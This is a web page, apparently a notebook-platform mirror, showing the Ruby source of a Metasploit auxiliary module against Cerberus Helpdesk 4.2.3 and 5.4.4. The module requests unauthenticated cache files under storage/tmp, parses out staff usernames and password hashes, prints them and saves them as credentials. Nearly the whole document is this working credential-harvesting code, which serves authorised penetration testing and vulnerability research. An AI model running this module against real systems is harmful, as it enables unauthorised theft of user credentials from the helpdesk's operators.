Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/gather/cerberus_helpdesk_hash_disclosure.rb
Views: 11623
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Scanner8include Msf::Auxiliary::Report910def initialize11super(12'Name' => 'Cerberus Helpdesk User Hash Disclosure',13'Description' => %q{14This module extracts usernames and password hashes from the Cerberus Helpdesk15through an unauthenticated access to a workers file.16Verified on Version 4.2.3 Stable (Build 925) and 5.4.417},18'References' =>19[20[ 'EDB', '39526' ]21],22'Author' =>23[24'asdizzle_', # discovery25'h00die', # module26],27'License' => MSF_LICENSE,28'DisclosureDate' => 'Mar 7 2016'29)3031register_options(32[33OptString.new('TARGETURI', [false, 'URL of the Cerberus Helpdesk root', '/'])34])35end3637def run_host(rhost)38begin39['devblocks', 'zend'].each do |site|40url = normalize_uri(datastore['TARGETURI'], 'storage', 'tmp', "#{site}_cache---ch_workers")41vprint_status("Attempting to load data from #{url}")42res = send_request_cgi({'uri' => url})43if !res44print_error("#{peer} Unable to connect to #{url}")45next46end4748if !res.body.include?('pass')49print_error("Invalid response received for #{peer} for #{url}")50next51end5253cred_table = Rex::Text::Table.new 'Header' => 'Cerberus Helpdesk User Credentials',54'Indent' => 1,55'Columns' => ['Username', 'Password Hash']5657# the returned object looks json-ish, but it isn't. Unsure of format, so we'll do some ugly manual parsing.58# this will be a rough equivalent to sed -e 's/s:5/\n/g' | grep email | cut -d '"' -f4,8 | sed 's/"/:/g'59result = res.body.split('s:5')60result.each do |cred|61if cred.include?('email')62cred = cred.split(':')63username = cred[3].tr('";', '') # remove extra characters64username = username[0...-1] # also remove trailing s65password_hash = cred[7].tr('";', '') # remove extra characters66print_good("Found: #{username}:#{password_hash}")67store_valid_credential(68user: username,69private: password_hash,70private_type: :nonreplayable_hash71)72cred_table << [username, password_hash]73end74end75print_line76print_line cred_table.to_s77break78end7980rescue ::Rex::ConnectionError81print_error("#{peer} Unable to connect to site")82return83end84end85end868788